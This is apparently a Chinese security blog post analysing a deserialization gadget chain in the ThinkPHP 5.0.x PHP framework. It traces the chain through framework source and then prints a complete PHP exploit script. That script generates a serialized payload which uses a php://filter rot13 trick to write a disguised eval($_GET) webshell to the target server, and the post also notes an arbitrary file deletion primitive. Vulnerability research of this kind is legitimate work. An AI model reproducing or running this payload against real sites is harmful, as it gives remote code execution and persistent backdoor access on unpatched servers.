ThinkPHP5.0.x 反序列化分析
2022-07-29 01:19:17

漏洞分析

起点为/thinkphp/library/think/process/pipes/Windows.php的__destruct()

在这里插入图片描述

跟进其中的removeFiles()函数

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

其中files是可控的
这里存在任意文件删除的漏洞点

file_exists对filename进行处理,会将其当做String类型的
可以触发任意类的__toString方法

1
function is_writable(string $filename): bool {}

think下的Model.php中存在一处

1
2
3
4
public function __toString()
{
return $this->toJson();
}

一直到toArray方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

在这段代码中值得注意的是

在这里插入图片描述

1
2
3
4
5
6
7
$item[$key] = $relation->append($name)->toArray();

$item[$key] = $relation->append([$attr])->toArray();

$bindAttr = $modelRelation->getBindAttr();

$item[$key] = $value ? $value->getAttr($attr) : null;

这四处是可以调用到__call方法的

例如用第四处进行调用

$modelRelation是通过$this->getAttr($key)赋值
要调用Output下的__call,这里的$value也需要时Output的对象

其中getRelationData对获取的值进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

跟进到isSelfRelationgetModel

1
2
3
4
public function isSelfRelation()
{
return $this->selfRelation;
}
1
2
3
4
public function getModel()
{
return $this->query->getModel();
}
1
2
3
4
public function getModel()
{
return $this->model;
}

发现都是可控的

上面提到$value需要是Output的对象
当然这里的参数也需要是该类对象
在这里插入图片描述

也就是return $this->model;get_class($this->parent)为同类

接着跟进getBindAttr

1
2
3
4
public function getBindAttr()
{
return $this->bindAttr;
}

依然可控

那就可以执行最后$item[$key] = $value ? $value->getAttr($attr) : null;

那么下面就来分析这个类
在这里插入图片描述
首先看下回调的block方法
一直跟进到
在这里插入图片描述
注意到handle可控,搜索下调用的write方法
Memcached.php
在这里插入图片描述

接着搜索set方法
File.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

注意到
在这里插入图片描述
可以通过伪协议写入shell并绕过死亡exit

在这里插入图片描述
在这里插入图片描述
由于最后调用 set 方法中的参数来自先前调用的 write 方法只能为 true,且这里 $expire 只能为数值,这样文件内容就无法写 shell

所以后面无法在文件内容写入shell

在后面的setRagItem函数会再次执行set方法

过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Windows::__destruct()->removeFiles()

Model::__toString()->toJson()

Model::tiJson()->toArray()

Model::toArrray()->getAttr()

Output::__call()->block()

Output::block()->writeln()

Output::writeln()->write()

Output::write()->write()

Memcached::write->set()

File::set()->setTagItem()

Driver::setTagItem()->set()

偷了一位师傅的图
非常详细
在这里插入图片描述

这里可能有些内容写的不是很详细
还请各位读者谅解

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
private $files = [];

function __construct(){
$this->files = [new Pivot()];
}
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}

}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;

function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();

}
}

namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();//目的调用File->set()
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[q1ab])?>',
'data_compress' => false,
];
$this->tag = true;
}
}

namespace think\model;
use think\Model;
class Pivot extends Model{


}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));